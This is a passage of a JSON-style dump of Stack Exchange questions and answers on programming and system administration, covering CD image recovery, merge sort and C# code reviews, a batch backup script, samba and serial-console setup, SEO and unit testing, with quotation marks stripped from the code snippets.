decrementing a counter as you encounter logins / logouts, and keeping track of the maximum of this value.  It turns out that unless your DB supports a certain sliding window aggregation (which SQL 2008 didn't, 2012 may, I don't know), the best you can do is a CURSOR (the purely relational solutions are all on different orders of complexity, and attempting to solve it using a while loop results in worse performance).  In this case, yes, the C# solution is actually faster than what you can achieve in T-SQL, period.  That may seem far-fetched, but this problem can easily manifest itself in financial systems, if you are working with rows representing relative changes, and need to calculate windowed aggregations on those.  Stored proc invocations also tend to be more expensive - invoke a trivial SP a million times and see how that compares to calling a C# function.  I hinted at a few other examples above - I haven't yet encountered anyone implement a proper hash table in T-SQL (one which actually gives some benefits), while it is pretty easy to do in C#.  Again, there are things that DBs are awesome at, and things that they're not so awesome at.  Just like I wouldn't want to be doing JOINs, SUMs and GROUP BYs in C#, I don't want to be writing anything particularly CPU intensive in T-SQL.  "  } 
{  "id": "_unix.177175"  , "question": "I have an audio CD (burnt a few years ago) that I want to rip (with K3B or other) to flac. K3B was unable to complete and I realized the CD was damaged. I managed to recover the data with safecopy and the --stage-1-3 arguments. From the output (see below) it seems that the data was properly recovered.However, I expected to be able to mount the file and take it from there. Unfortunately it doesn't seem to be the case:$ sudo mount -o loop -t iso9660 diskimage /media/cdrom1/mount: block device /mnt/data/Bureau/diskimage is write-protected, mounting read-onlymount: wrong fs type, bad option, bad superblock on /dev/loop1,       missing codepage or helper program, or other error       In some cases useful info is found in syslog - try       dmesg | tail  or sodmesg doesn't show much useful output:$ dmesg | tailISOFS: Unable to identify CD-ROM format.Indeed it seems to be in an unrecognized format:$ file diskimage diskimage: dataUnsurprisingly, renaming the file to .iso, .raw, .img or .bin made no difference.Some people on the Internet recommend using ccd2iso but it fails as well (Unrecognized sector mode (0) at sector 0!).How can I proceed to extract the audio from this raw data dump?Here is the output from safecopy. The stage3.badblocks is empty.$ safecopy /dev/sr0 diskimage --stage1Low level device calls enabled mode: 2Reported hw blocksize: 4096CDROM audio - low level access: drive reset, raw readCDROM low level disk size: 784954128CDROM low level block size: 2352Reported low level blocksize: 2352File size: 784954128Blocksize: 2352Fault skip blocksize: 78493296Resolution: 78493296Min read attempts: 1Head moves on read error: 0Badblocks output: stage1.badblocksMarker string: BaDbLoCkStarting block: 0Source: /dev/sr0Destination: diskimage......................................... [40961]    ......................................... [82945]    ......................................... [124929]    ......................................... [166913]    ......................................... [208897]    ......................................... [250881]    ................................[284577](+669325104){X [317950]    }[317950](+78493296)................[333739](+37135728){X}[367112](+78493296)Done!Recovered bad blocks: 0Unrecoverable bad blocks (bytes): 2 (156986592)Blocks (bytes) copied: 333739 (784954128)xavier@marvin:~/Bureau$ safecopy /dev/sr0 diskimage --stage2Low level device calls enabled mode: 2Reported hw blocksize: 4096CDROM audio - low level access: drive reset, raw readCDROM low level disk size: 784954128CDROM low level block size: 2352Reported low level blocksize: 2352File size: 784954128Blocksize: 2352Fault skip blocksize: 301056Resolution: 2352Min read attempts: 1Head moves on read error: 0Incremental mode file: stage1.badblocksIncremental mode blocksize: 2352Badblocks output: stage2.badblocksStarting block: 0Source: /dev/sr0Destination: diskimageCurrent destination size: 863447424........................[309047](+726878544){X [309175]    <<<<<<<}[309048](+2352).....[313338](+10090080){X<<<<<<<}[313339](+2352).....  8-( 95%Done!Recovered bad blocks: 0Unrecoverable bad blocks (bytes): 2 (4704)Blocks (bytes) copied: 317950 (747818400)$ safecopy /dev/sr0 diskimage --stage3Low level device calls enabled mode: 2Reported hw blocksize: 4096CDROM audio - low level access: drive reset, raw readCDROM low level disk size: 784954128CDROM low level block size: 2352Reported low level blocksize: 2352File size: 784954128Blocksize: 2352Fault skip blocksize: 2352Resolution: 2352Min read attempts: 4Head moves on read error: 1Incremental mode file: stage2.badblocksIncremental mode blocksize: 2352Badblocks output: stage3.badblocksStarting block: 0Source: /dev/sr0Destination: diskimageCurrent destination size: 863447424.  8-( 93%Done!Recovered bad blocks: 0Unrecoverable bad blocks (bytes): 0 (0)Blocks (bytes) copied: 313339 (736973328)"  , "title": "Recover audio CD after safecopy"  , "tags": "audio cd;safecopy"  } 
{  "id": "_softwareengineering.89552"  , "question": "I am very curious to hear input from others on a problem I've been contemplating for some time now.Essentially I would like to present a user with a text document and allow him/her to make selections of text and annotate it.  Specific to the annotations i aim to achieve the following:Allow users to make a text selection, annotate it, then save the selection and annotation for reference later(UI) Support representing overlapped annotations.  For example if the string where: This is the test sentence for my example test sentence, user1 might have an annotation on is the test sentence for my example and user2 might have an annotation on for my example.Account for a situations where the document's text changes.  The annotations would to be updated, if possible.How would you tackle this from a technical perspective? Some ideas I've had are:Use javascript ranges and store an annotation as a pair of integers something like: (document_start_char, document_end_char).  Save this pair in the db.Alternatively, using JS get the text selected and actually save the full text in the db. (not sure how i would then do overlapping annotations)Represent overlapped annotations by applying a css style to highlight the text then darken the stack of annotations where they overlap.  Smallest annotation would always have to be on the top of the stack.What are your thoughts or areas of improvement?  How the heck could I support a document's text being updated without breaking all the annotations? "  , "title": "Javascript, Text Annotations and Ideas"  , "tags": "web development;design;javascript;user interface;document"  } 
{  "id": "_softwareengineering.236391"  , "question": "Most BST examples show a sample of a BST with unique values; mainlyto demonstrate the order of values. e.g. values in the left subtree are smaller than the root, and values in the right subtree are larger.Is this because BSTs are normally just used to represents SETs ?If I insert an element say 4 which already exists in the BST, what should happen ?e.g. In my case, 4 is associated with a payload. Does it mean I override the existing node's payload."  , "title": "What happens to equal elements when inserting into a binary search tree?"  , "tags": "data structures;trees"  , "accepted_answer": "The classic examples of the BST demonstrate a set where there is one entry for a given value in the structure.  An example of this is the TreeSet in Java (yes, thats a red-black tree behind the scenes - but its a tree and a set).However, there's nothing saying that there can't be additional values stored at the location indicated by the value.  Once you decide to do this, it becomes an associative array (sometimes called a map).  Again, going to Java for the example, there is the TreeMap.An example of this could be:TreeMap<Integer, String> ageToName = new TreeMap<Integer, String>();ageToName.put(4,Alice);ageToName.put(25,Bob);ageToName.put(16,Charlie);The structure of this would look like:      16 -> Charlie               /             \\             /               \\        4 -> Alice          25 -> BobA balanced binary tree (the red-black part of that structure) with a left child and a right child.  You access it by looking for the value 4, or 16, or 25 and get back the associated data stored in that node.One aspect of the tree is that you can't have two different values with the same index.  There is no way with this design to insert David at age 16 also.  However, one could put another data structure such as a list instead of the String at the node and allow you to store multiple items in that list.But the (binary) tree, by itself, is a set that requires the indexes into it to be comparable (orderable) and that it will contain only distinct values (no duplicates).Realize that everyone is free to implement their own trees and sets and how they deal with the addition of another item with the same key.  With a TreeSet, if you add an already existing value, the add function returns false and leaves the set unchanged.  With a TreeMap, if you call put with a key that already exists, it replaces the old value and returns the replaced value (null if nothing was there).What should happen is whatever you need to have happen for that implementation.  There's no inscribed tablet that all the computer scientists signed that dictates how any abstract data structure should behave.  They behave as they should and when they need to behave other ways, document it and do it that way."  } 
{  "id": "_codereview.69289"  , "question": "This is my implementation of recursive merge sort, using sentinels:    #include<stdio.h>    #include<stdlib.h>    #include<limits.h>void merge(int a[], int p, int q, int r){    int n1,n2;    int i,j,k;    int *l,*m;    n1 = q - p + 1;    n2 = r - q;    l = (int*)malloc(sizeof(int)*(n1+1));    m = (int*)malloc(sizeof(int)*(n2+1));    for(i=0; i<n1; i++)        l[i] = a[p+i];    for(j=0; j<n2; j++)            m[j] = a[q+j+1];    l[i] = INT_MAX;    m[j] = INT_MAX;    i = j = 0;    for(k=p; k<r+1; k++){        if(l[i] <= m[j]){            a[k] = l[i];            i++;        }        else{            a[k] = m[j];            j++;        }    }}void merge_sort(int a[],int p, int r){    int q;    if(p<r){        q = (p+r)/2;        merge_sort(a,p,q);        merge_sort(a,q+1,r);        merge(a,p,q,r);    }}int main(){    int *num,n;    int i;    printf(Enter number of digits:);    scanf(%d,&n);    num = (int*)malloc(sizeof(int)*n);    printf(Enter numbers:);       for(i=0 ; i<n; i++){        scanf(%d,&num[i]);    }    merge_sort(num,0,n-1);    printf(Sorted array:\\n);    for(i=0; i<n; i++)        printf(%d ,num[i]);    free(num);    return 0;}I'm looking for reviews, suggestions, and improvements."  , "title": "Merge sort using sentinels"  , "tags": "c;recursion;sorting;mergesort"  , "accepted_answer": "In merge(), you call malloc() twice with no corresponding calls to free().  That can't be good for your memory consumption!When computing the average of two values, don't do q = (p+r)/2, because that is vulnerable to overflow.  Instead, write it as q = p + (r - p) / 2."  } 
{  "id": "_codereview.549"  , "question": "How does this class to resize an image look?using System;using System.Collections.Generic;using System.Web;using System.Drawing;using System.IO;/* * Resizes an image **/public static class ImageResizer{    // Saves the image to specific location, save location includes filename    private static void saveImageToLocation(Image theImage, string saveLocation)    {        // Strip the file from the end of the dir        string saveFolder = Path.GetDirectoryName(saveLocation);        if (!Directory.Exists(saveFolder))        {            Directory.CreateDirectory(saveFolder);        }        // Save to disk        theImage.Save(saveLocation);    }    // Resizes the image and saves it to disk.  Save as property is full path including file extension    public static void resizeImageAndSave(Image ImageToResize, int newWidth, int maxHeight, bool onlyResizeIfWider, string thumbnailSaveAs)    {        Image thumbnail = resizeImage(ImageToResize, newWidth, maxHeight, onlyResizeIfWider);        thumbnail.Save(thumbnailSaveAs);    }    // Overload if filepath is passed in    public static void resizeImageAndSave(string imageLocation, int newWidth, int maxHeight, bool onlyResizeIfWider, string thumbnailSaveAs)    {        Image loadedImage = Image.FromFile(imageLocation);        Image thumbnail = resizeImage(loadedImage, newWidth, maxHeight, onlyResizeIfWider);        saveImageToLocation(thumbnail, thumbnailSaveAs);    }    // Returns the thumbnail image when an image object is passed in    public static Image resizeImage(Image ImageToResize, int newWidth, int maxHeight, bool onlyResizeIfWider)    {        // Prevent using images internal thumbnail        ImageToResize.RotateFlip(System.Drawing.RotateFlipType.Rotate180FlipNone);        ImageToResize.RotateFlip(System.Drawing.RotateFlipType.Rotate180FlipNone);        // Set new width if in bounds        if (onlyResizeIfWider)        {            if (ImageToResize.Width <= newWidth)            {                newWidth = ImageToResize.Width;            }        }        // Calculate new height        int newHeight = ImageToResize.Height * newWidth / ImageToResize.Width;        if (newHeight > maxHeight)        {            // Resize with height instead            newWidth = ImageToResize.Width * maxHeight / ImageToResize.Height;            newHeight = maxHeight;        }        // Create the new image        Image resizedImage = ImageToResize.GetThumbnailImage(newWidth, newHeight, null, IntPtr.Zero);        // Clear handle to original file so that we can overwrite it if necessary        ImageToResize.Dispose();        return resizedImage;    }    // Overload if file path is passed in instead    public static Image resizeImage(string imageLocation, int newWidth, int maxHeight, bool onlyResizeIfWider)    {        Image loadedImage = Image.FromFile(imageLocation);        return resizeImage(loadedImage, newWidth, maxHeight, onlyResizeIfWider);    }}"  , "title": "Image resizing class"  , "tags": "c#;asp.net;image"  , "accepted_answer": "PascalCase the method names and method params if you are feeling overly ambitious.    // Set new width if in bounds    if (onlyResizeIfWider)    {        if (ImageToResize.Width <= newWidth)        {            newWidth = ImageToResize.Width;        }    }FindBugs barks in Java for the above behavior... refactor into a single if since you are not doing anything within the first if anyways...    // Set new width if in bounds    if (onlyResizeIfWider && ImageToResize.Width <= newWidth)    {        newWidth = ImageToResize.Width;    }Comments here could be a bit more descriptive; while you state what the end result is I am still lost as to why that would resolve the issue.    // Prevent using images internal thumbnail    ImageToResize.RotateFlip(System.Drawing.RotateFlipType.Rotate180FlipNone);    ImageToResize.RotateFlip(System.Drawing.RotateFlipType.Rotate180FlipNone); Maybe something similar to what is stated on this blog...    // Prevent using images internal thumbnail since we scale above 200px; flipping    // the image twice we get a new image identical to the original one but without the        // embedded thumbnail    ImageToResize.RotateFlip(System.Drawing.RotateFlipType.Rotate180FlipNone);    ImageToResize.RotateFlip(System.Drawing.RotateFlipType.Rotate180FlipNone);"  } 
{  "id": "_unix.249624"  , "question": "I have a CentOS 7 headless system with no serial ports.  I sometimes want to access the server using a serial cable, so I plug in a USB serial cable (to my laptop's serial port) but I can't get a console/BASH from the connection.Is there something I have to do to tell the kernel to always create a serial console on appearance of a USB serial port?"  , "title": "Create serial console on plug in USB serial device"  , "tags": "kernel;console;serial port"  , "accepted_answer": "EDIT: This won't work if you have a recent udev version, because udev prevents you from starting long-lived background processes in RUN scripts. You may or may not be able to get around this by prefixing the getty command with setsid but in any case it's discouraged if not outright disallowed. If you have a system which uses systemd then there is another way to achieve this, which I hope someone will supply with another answer. In the meantime, I'm leaving this answer here in case it works for you.You cannot use a USB serial port as a console because USB is initialized too late in the boot sequence, long after the console needs to be working.You can run getty on a USB serial port to allow you to log in and get a shell session on that port, but it will not be the system's console.To get getty to start automatically, try this udev rule (untested):ACTION==add, SUBSYSTEM==tty, ENV{ID_BUS}=usb, RUN+=/usr/local/sbin/usbrungettyPut that in a rules file in /etc/udev/rules.d and then create this executable script /usr/local/sbin/usbrungetty:#!/bin/sh/sbin/getty -L $DEVNAME 115200 vt102 &"  } 
{  "id": "_cs.50597"  , "question": "I got confused with the analysis of algorithms in average case. Following is the my perception regarding average case using sorting problem:Suppose we have a 5 elements array to be sorted using Insertion sort.  Time complexity will depend upon the particular arrangements of  elements in the array. Usually, when algorithm's time complexity  depends upon the particular ordering of elements or different instances of same  problem size n, then different cases (i.e. best, average and worst)  occurs. In the above example there are 5!=120 possible instances of  problem size 5. For a instance, when elements are already sorted,  algorithms takes lowest time, and that will be best case. For another  instance, when elements are reverse sorted, it takes longest time, and  that will be worst case. there are still 118 instances left. For  average case time complexity, we should take average of running  times for all possible input instances (including 118 left and 2  others). That means we should take average of all 120 running time for  different 120 instances.Why probability distribution plays a role while computing average case time complexity? Why don't we just take a simple average of running times for all possible input instances of same problem size?"  , "title": "Average Case Complexity Rivisted"  , "tags": "algorithm analysis;runtime analysis;average case"  } 
{  "id": "_softwareengineering.313307"  , "question": "Several of our customers have come to us with an interesting problem that involves adjusting data that occurred in the past which is rolled up and reported based on an org hierarchy.For example: If you run a report by Sales Team in March it will roll up sales closed by members currently assigned to that team. Then some team members switch teams at the start of April. Then a few days after some data for March is adjusted due to business-specific reasons (returns, audits, etc.) If someone reruns the same team-based report they will get drastically different results now besides the data adjustments because team members have moved around.We currently have our own solution to this issue which involves a significant amount of denormalization and updating effective time stamps whenever someone moves around in the hierarchy. I'd love learn about how others have solved this but I've struggled to even find examples of other CRMs or reporting platforms that even attempt to support this issue.What software have you see that supports this? Is this super uncommon and not worth the time to solve for most businesses? Or is this issue a symptom of a deeper problem?"  , "title": "Handling retroactively adjusted data that is reported hierarchically"  , "tags": "database;reporting;hierarchy"  } 
{  "id": "_cogsci.16175"  , "question": "We know from many studies (see e.g. Taylor, 2009 for an empirical and experiential overview) that  processing of information is massively heterogeneous with respect to hemisphere. How does this lateral effect show up in processing of basic somatosensory information? Do we fundamentally experience our left and right sides of our body differently? Some evidence points to emotional lateralization in the brain. If the answer to the last question above is yes, how are the two related?Taylor, Jill Bolte. My stroke of insight. Hachette UK, 2009."  , "title": "Difference in hemispheres when processing of somatosensory information"  , "tags": "neurobiology;emotion;sensation;lateralization"  } 
{  "id": "_webmaster.65446"  , "question": "I had to do a massive URL change stuff (Categories and Products) on my e-commerce site while keeping 301 redirect of old URLs to new ones. I did change category URLs (appr: 800 URLs) to new and improved ones and went live with them; but for an automated (scripted) 301 redirect; I had to get done with new improved Products URLs as well. And to avoid any 404 issues with old category URLs; I didn't want Google to crawl my site until I was done and gone live with Products' new URLs; I put a robots.txt block on my entire site! thinking that I'll have enough time converting all products to new URLs and keeping Google away of the site. It was intended to be temporary block. When I put robots.txt back to Allow all URLs; things started appearing all wrong! All the site's ranking has gone down! I am confused; what to do now! The robots.txt is now allowing all URLs; 301 redirect for old URLs is in place and working. Entire site has NEW URLs. I have submitted new sitemapsAnd I want to gain the ranking all back to normal. I have submitted new sitemaps and Google's not friendly with them. 99.9% of URLs in sitemap are still saying URLs blocked by robots.txt. What did I do wrong? And how's it gonna  solve the best way?"  , "title": "Robots.txt destroyed my ranking?"  , "tags": "robots.txt"  , "accepted_answer": "Never use robots during maintenanceYou've created the problem by blocking the site using the robots.txt, you should only ever use robots to inform search engines what to index and what not to index. Because you blocked all URLS it's likely it dropped some from its index meaning you lost your rankings on those pages. Normally this process takes a couple of weeks to kick in. Generally pages that are older will rank better than newer ones due to several reasons such as links, age and so on, using a 301 redirect generally passes 99% of the rankings across but only if those URLS are still indexed.Correct methods when doing site maintenanceUsing the status 503 Service Unavailable (General down message with redirect)Using the status 307 Temporary Redirect (Redirect to a maintenance page)Using the status 401 Unauthorized (Temporary Password Authentication)Recovering from the problemYou should start by finding out if all OLD urls have been dropped, if they have then sadlyly there isn't anything anyone can tell you other than wait and see if your rankings will return, if Google dropped the old urls then those new urls won't rank as good as they would of if you hadn't blocked them using the robots, robots is like using 'NOINDEX' which your informing Google to not index those URLS which is a big mistake on your part. But anyway, Google may return your results depending on how long your URLS were dropped for and if you had any backlinks, if you have lots of backlinks going to the OLD urls then as Google figures out you got new urls it should pass those links to the new URLS and in the meantime you juts need to be patient.Finding out if Google has dropped my URLSYou should do site: www.example.com and find out if the old URLS have been dropped, you may find some new ones and if this is the case then its possible they dropped before hand, 301's normally take a week or more to index the new URLS over OLD. "  } 
{  "id": "_scicomp.17574"  , "question": "I'm with the background of computer engineering and generally use FEM for graphics simulation. As far as I know, FEM formulation is usually expressed with respect to the reference configuration, i.e., the volume integration is over the initial domain and the stress-based force $f$ is computed using the first Piola-Kirchhoff stress $P$ integrated over the initial element $\\Omega_0$ as:$$f = \\int_{\\Omega_0}P\\nabla_X Nd\\Omega$$Is there any good reason why initial configuration is preferred over current configuration? Theoretically the force can be expressed with the cauchy stress $\\sigma$ integrated over current volume.The integration is usually approximated with Gauss quadrature. One reason I assume is that accuracy and robustness of the numerically approximated volume integration maybe at stake if the shape of current domain is close to degenerated (with nearly not invertible jacobian). Integrating over initial volume is better as we assume the initial mesh quality is good."  , "title": "Why does FEM usually formulate the problems in reference configuration?"  , "tags": "finite element"  } 
{  "id": "_softwareengineering.291930"  , "question": "We have an important legal document that our app generates in WordML, with foreign characters represented via Unicode.  These foreign characters vary widely, and include languages with special characters like Korean and Cyrillic.  We have all of the unicode hex values for WordML, but our print room has informed us that they can't accept .doc files at all - only PDFs.  So we're now converting the entire file into an XSL-FO document. The problem is - XSL-FO doesn't use the same Unicode hex values, and in fact when we try to produce the XSL-FO document, the hex values come out as # symbols, indicating that no proper value was found.  Not all the unicode characters failed to be produced - in particular, special characters for French and Spanish seemed to display just fine.  But none of the Cyrillic or Korean characters were successfully displayed.  Is there a library of Hex code characters for XSL-FO, or some type of simple conversion we could do to make these hex codes match the XSL-FO Unicode values?  "  , "title": "How can I resolve Unicode Hex Value Mismatches between WordML and XSL:FO?"  , "tags": "unicode"  } 
{  "id": "_unix.368729"  , "question": "I would like to set a password for setting up samba share directory using a shell script. I wrote the following script test.sh:#!/bin/bashpass=123456(echo $pass; echo $pass) | smbpasswd -s -a $(whoami)This prints the following:When run by root:    smbpasswd [options] [username]otherwise:    smbpasswd [options]options:  -L                   local mode (must be first option)  -h                   print this usage message  -s                   use stdin for password prompt  -c smb.conf file     Use the given path to the smb.conf file  -D LEVEL             debug level  -r MACHINE           remote machine  -U USER              remote usernameextra options when run by root or in local mode:  -a                   add user  -d                   disable user  -e                   enable user  -i                   interdomain trust account  -m                   machine trust account  -n                   set no password  -W                   use stdin ldap admin password  -w PASSWORD          ldap admin password  -x                   delete user  -R ORDER             name resolve orderAs it points out, I was not running it as root, when I run it as root, i.e., sudo ./test.sh, it runs fine. But the catch is, it adds root instead of noobuser, which is my logged in user. How can I add noobuser by doing something similar (I have a feeling I'm missing something here)?"  , "title": "Shell script to set password for samba user"  , "tags": "shell script;ubuntu;scripting;samba"  } 
{  "id": "_codereview.172959"  , "question": "I created this batch script for incremental and scheduled backup using xcopy command in batch.The first execution of this script is to configure the paths of the source and the destination. It saves them in a .cfg file and then makes a full copy for the first time.It creates a scheduled task to run every hour with an incremental copy (ie : only copies the new files or has been modified from the source).Please suggest any improvements for this batch script.@echo off:: Incremental_Backup.bat Created by Hackoo on 12/08/2017:: It is a total copy first and then incrementally,:: ie, it just copies the new files and changed files.:: Create a Schedule Task for Copying files HourlyMode con cols=95 lines=5 & color 0ETitle %~nx0 for Incremental Backup with XCopy Command by Hackoo 2017set Settings=%~dpn0%_Settings.cfgSet FirstFull_CopyLog=%~dpn0_FirstFull_CopyLog.txtSet LogFile=%~dpn0_Incremental_CopyLog.txtSet TaskName=Backup_TaskRem The repeated task is in minutes (60 min = 1 hour)Set Repeat_Task=60If not exist %Settings% (    Call :BrowseForFolder Please choose the source folder for the backup SourceFolder    Setlocal EnableDelayedExpansion    If defined SourceFolder (        echo(        echo             You chose !SourceFolder! as source folder    ) else (        echo(        Color 0C & echo                    The source folder is not defined ... Exiting ......        Timeout /T 2 /nobreak>nul & exit    )    Call :BrowseForFolder Please choose the target folder for the backup TargetFolder    If defined TargetFolder (        echo(        echo             You chose !TargetFolder! as Target folder    ) else (        echo(        Color 0C & echo                    The Target folder is not defined ... Exiting ......        Timeout /T 2 /nobreak>nul & exit    )Timeout /T 3 /nobreak>nul    (        echo !SourceFolder!         echo !TargetFolder!\\Backups_%ComputerName%\\     )> %Settings%cls & echo( & echo(echo         Please wait a while ... The Backup to !TargetFolder!\\Backups_%ComputerName%\\ is in progress... Call :Backup_XCopy !SourceFolder! !TargetFolder!\\Backups_%ComputerName%\\ !FirstFull_CopyLog!Timeout /T 1 /nobreak>nul Call :Create_Schedule_Task_Copy %Repeat_Task% %TaskName%Start  !FirstFull_CopyLog! & exit) else (Setlocal EnableDelayedExpansionfor /f delims= %%a in ('Type %Settings%') do (    set /a idx+=1    set Param[!idx!]=%%a)Set SourceFolder=!Param[1]!Set TargetFolder=!Param[2]!Cls & echo( & echo(echo       Please wait a while ... The Backup to !TargetFolder! is in progress... Call :Backup_XCopy !SourceFolder! !TargetFolder! !LogFile!Rem Just to query the Backup_Task and log it    (        echo(        echo %Date% @ %Time%        echo(         echo ======================================== ====================== ===============        @for /f skip=2 delims= %%a in ('Schtasks /Query /TN %TaskName%') do (            @echo %%a        )        echo ======================================== ====================== ===============    )>> !LogFile!)Timeout /T 1 /nobreak>nul Exit::****************************************************************************:BrowseForFolderset psCommand=(new-object -COM 'Shell.Application')^.BrowseForFolder(0,'%1',0,0).self.pathfor /f usebackq delims= %%I in (`powershell %psCommand%`) do set %2=%%Iexit /b::****************************************************************************:Backup_XCopy <Source> <Target> <LogFile>Xcopy /I /D /Y /S /E /J /C /F %1 %2 > %3 2>&1Exit /b::****************************************************************************:Create_Schedule_Task_Copy <Repeat_Task_Every(N)Minute> <TaskName>(    Schtasks /create /SC minute /MO %1 /TN %2 /TR %~f0     Schtasks /Query /TN %2 )>> !FirstFull_CopyLog! 2>&1exit /b::****************************************************************************"  , "title": "Incremental and scheduled backup using xcopy command"  , "tags": "console;windows;batch"  } 
{  "id": "_webmaster.13438"  , "question": "I've upgraded one primary page of a site to use the async version of the GA tracking code. Since the upgrade, number of visits has increased by 60%, avg. time on site has decreased by 40% and the bounce rate of the said page is now always zero. Pageviews are intact.I suspect this has to do with using both the traditional and async snippets on the same profile.Other than that, it's a pretty standard setup. Right before </body>*, I have this:var _gaq = [['_setAccount', 'UA-XXXXXX-XX'], ['_trackPageview'], ['_setDomainName', 'domain.com'], ['_setAllowLinker', true], ['_setAllowHash', false], ['_setAllowAnchor', true]];    (function (d, t) {        var g = d.createElement(t), s = d.getElementsByTagName(t)[0]; g.async = 1;        g.src = ('https:' == location.protocol ? '//ssl' : '//www') + '.google-analytics.com/ga.js';        s.parentNode.insertBefore(g, s)    } (document, 'script'));Any other ideas, confirmations and suggestions?*I know, it should go before </head>, will fix that in a new version."  , "title": "Upgraded one page of a site to the async Google Analytics - Data is now messed up"  , "tags": "google analytics"  , "accepted_answer": "I notice that your calling _trackPageview before _setDomainName. That could cause some problems with the cookies. Try putting _trackPageview at the end of the command list and see if it solves the problem."  } 
{  "id": "_codereview.39336"  , "question": "I'm just getting into testing and wanted to see if someone can tell me if I'm writing tests correctly. I'm using C#, NUnit, & Should.This is the class I'm testing:    using System;    using System.Collections.Generic;    using System.Diagnostics;using System.Linq;using System.Reflection.Emit;Using VM.Models.Common;namespace Vm.Models.CustomerNS{    public class Customer     {// ReSharper disable once InconsistentNaming        public int ID { get; set; }        public List<Address> Locations { get; set; }        public List<User> Users { get; set; }        public List<BuyerNum> BuyerNumbers { get; set; }        public Dictionary<string, string> VehicleList { get; set; }        public List<Contact> Contacts { get; set; }        public string Name { get; set; }        public Customer()        {            Locations = new List<Address>();            Users = new List<User>();            BuyerNumbers = new List<BuyerNum>();            Contacts = new List<Contact>();            VehicleList = new Dictionary<string,string>();        }        public void AddLocation(AddressType addtype, string addressName, string streetAddress, string city, string state, string zip, string country)        {            var addressId = 0;            var lastOrDefault = Locations.LastOrDefault();            if (lastOrDefault != null) addressId = lastOrDefault.AddressId + 1;            Address newAddress = new Address            {                AddressId = addressId,                AddressName = addressName,                AddressType = addtype,                City = city,                State = state            };            if (streetAddress != null) newAddress.StreetAddress = streetAddress;            if (zip != null) newAddress.Zip = zip;            Locations.Add(newAddress);        }        public void RemoveLocation(int addressId)        {            Debug.Assert(Locations != null, Locations != null);            var addressid = Locations.Where(x => x.AddressId == addressId);            var enumerable = addressid as IList<Address> ?? addressid.ToList();            if (enumerable.Count() != 1) { throw new InvalidOperationException(Cannot Delete); }            Locations.Remove(enumerable.First());        }        public void ModifyLocation(int addressId, AddressType addtype, string addressName, string streetAddress, string city, string state, string zip, string country)        {            var addressid = Locations.Where(x => x.AddressId == addressId);            var enumerable = addressid as Address[] ?? addressid.ToArray();            if (enumerable.Count() != 1) { throw new InvalidOperationException(Cannot Delete); }            Locations.Remove(enumerable.First());        }        public Address GetLocation(int addressId)        {            return Locations.First(x => x.AddressId == addressId);        }        public List<Address> GetAllLocations()        {            return Locations;        }    }}Testing Class    using System.Linq;using Vm.Models.Common;using VM.Models.CustomerNS;using NUnit.Framework;using Should;// ReSharper disable once CheckNamespacenamespace vm.Models.CustomerNS.Tests{    [TestFixture()]    public class CustomerTests    {        [Test()]        public void CustomerTest()        {            var customerObject = new Customer() { Name = Hello World!! };            customerObject.ShouldNotBeNull();            Assert.AreEqual(customerObject.Name, Hello World!!);        }        [Test()]        public void AddLocationTest()        {            var customerObject = new Customer() { Name = Hello World!! };            customerObject.AddLocation(AddressType.Business, Hello Location, 123 Street Name, Hello City, HS, 10001, US);            customerObject.Locations.First().ShouldNotBeNull();            Assert.AreEqual(customerObject.Locations.First().City, Hello City);        }        [Test()]        public void RemoveLocationTest()        {            var customerObject = new Customer() { Name = Hello World!! };            customerObject = GenerateMultipleLocations(5, customerObject);            var inintialCount = customerObject.Locations.Count;            var custObjCopy = customerObject.Locations.First();            var thirdlocation = customerObject.Locations[3];            customerObject.RemoveLocation(1);            customerObject.Locations.Count.ShouldEqual(inintialCount - 1);            customerObject.Locations.First().ShouldEqual(custObjCopy);            customerObject.Locations[3].ShouldNotEqual(thirdlocation);        }        private Customer GenerateMultipleLocations(int p, Customer customer)        {            int i = 0;            while (i < p)            {                customer.AddLocation(AddressType.Business, EfficientlyLazy.IdentityGenerator.Generator.GenerateName().First, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().AddressLine, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().City, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().StateAbbreviation, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().ZipCode, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().City);                i++;            }            return customer;        }        [Test()]        public void ModifyLocationTest()        {            var customerObject = new Customer() { Name = Hello World!! };            customerObject = GenerateMultipleLocations(5, customerObject);            var inintialCount = customerObject.Locations.Count;            var custObjCopy = customerObject.Locations.First();            var thirdlocation = customerObject.Locations[3];            customerObject.Locations[3].AddressId.ShouldEqual(3);            customerObject.ModifyLocation(3, AddressType.Business, EfficientlyLazy.IdentityGenerator.Generator.GenerateName().First, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().AddressLine, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().City, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().StateAbbreviation, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().ZipCode, EfficientlyLazy.IdentityGenerator.Generator.GenerateAddress().City);            thirdlocation.ShouldNotEqual(customerObject.Locations[3]);        }        [Test()]        public void GetLocationTest()        {            Assert.Fail();        }        [Test()]        public void GetAllLocationsTest()        {            Assert.Fail();        }    }}PS: I realize I haven't tested the bottom 2 methods."  , "title": "Testing classes"  , "tags": "c#;unit testing;nunit"  , "accepted_answer": "I'm a little more concerned about the implementation class (as opposed to the testing class). It exposes List<T> and Dictionary<T,U> properties publicly, assigns them in the constructor but also allows them to be set via the property. Something smells, but I can't speak to it not knowing the full design. However, if you can, I'd recommend developing to interfaces, IList<T> and IDictionary<T,U> instead and not allowing setters on the properties. Here's what I'd code up:namespace Vm.Models.CustomerNS{    using System;    using System.Collections.Generic;    using System.Diagnostics;    using System.Linq;    using Vm.Models.Common;    public class Customer    {        private readonly IList<Address> locations = new List<Address>();        private readonly IList<User> users = new List<User>();        private readonly IList<BuyerNum> buyerNumbers = new List<BuyerNum>();        private readonly IList<Contact> contacts = new List<Contact>();        private readonly IDictionary<string, string> vehicleList = new Dictionary<string, string>();        public IList<BuyerNum> BuyerNumbers        {            get            {                return this.buyerNumbers;            }        }        public IList<Contact> Contacts        {            get            {                return this.contacts;            }        }        // ReSharper disable once InconsistentNaming        public int ID        {            get;            set;        }        public IList<Address> Locations        {            get            {                return this.locations;            }        }        public string Name        {            get;            set;        }        public IList<User> Users        {            get            {                return this.users;            }        }        public IDictionary<string, string> VehicleList        {            get            {                return this.vehicleList;            }        }        public void AddLocation(            AddressType addtype,            string addressName,            string streetAddress,            string city,            string 